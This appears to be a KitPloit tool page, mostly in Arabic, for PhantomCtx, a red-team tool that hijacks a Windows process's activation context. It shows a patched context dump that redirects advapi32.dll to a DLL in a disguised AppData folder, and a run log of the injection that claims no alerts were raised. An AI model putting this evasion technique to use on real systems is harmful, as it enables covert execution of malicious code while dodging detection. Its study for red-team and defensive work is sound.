+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x2166 (8550 bytes) | Flags : 0x00000000 | +--[ TOC ] 9 entries | [00] Id=1 Format=1 Offset=0x0134 Length=0x09CC | [01] Id=2 Format=1 Offset=0x0B00 Length=0x1666 <-- DLL Redirection | [02] Id=3 Format=1 Offset=0x0BC4 Length=0x12C8 | [03] Id=4 Format=2 Offset=0x1E8C Length=0x0028 | [04] Id=5 Format=2 Offset=0x1EB4 Length=0x0028 | [05] Id=6 Format=2 Offset=0x1EDC Length=0x0028 | [06] Id=9 Format=2 Offset=0x1F04 Length=0x0028 | [07] Id=10 Format=1 Offset=0x1F2C Length=0x0120 | [08] Id=11 Format=1 Offset=0x204C Length=0x0008 | +--[ DLL REDIRECTION ] 3 entries | [00] comctl32.dll.mui | PseudoKey : 0xBBF34EA2 | RosterIdx : 3 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : | | [01] comctl32.dll | PseudoKey : 0xF1C4BC4F | RosterIdx : 2 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : | | [02] advapi32.dll | PseudoKey : 0xF60E87FC | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=150 bytes | Path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll | +--[ END ]

[SUCCESS] Suspended process created... [INFO] Original PEB.ActivationContextData = 0000021D10BA0000 [SUCCESS] Patched blob written to section (8550 bytes) [SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 [SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) [SUCCESS] Target process resumed.

root@kitploit:~
في هذه الحالة، يقوم ملف DLL المفيد بتنفيذ `calc.exe`. لم يتم إنشاء أي تنبيهات.

![](https://assets.kitploit.com/production/public/readmes/8764/520c6f0b907c6e07fef747a8e0139a9f268f0a83fab1964b4d0e28a144144d93.png)

![](https://assets.kitploit.com/production/public/readmes/8764/de01fe20cd0f075525a0cd388b47d0cf4435f54119b87fab0363c5e82b2663d7.png)

# إخلاء المسؤولية

تم تطوير هذه الأداة **لأغراض تعليمية شخصية** وهي مخصصة حصريًا لمحترفي الأمن ومشغلي الفرق الحمراء الذين يعملون في **بيئات مرخصة**.

استخدام PhantomCtx ضد الأنظمة دون إذن صريح **غير قانوني** وممنوع منعًا باتًا. لا يتحمل المؤلف أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.

# المراجع
- [اختراق سياق التنشيط بواسطة كوروش دباغ - مؤتمر نافاجا](https://www.youtube.com/watch?v=qu4fXWKjabY)
- [محمل اختراق سياق التنشيط 'Eclipse'](https://github.com/Kudaes/Eclipse)
- [NtDoc](https://ntdoc.m417z.com/)
- [الكود المصدري لـ ReactOS](https://github.com/reactos/reactos)
- [كتاب Windows Internals](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)
تنزيل الأداة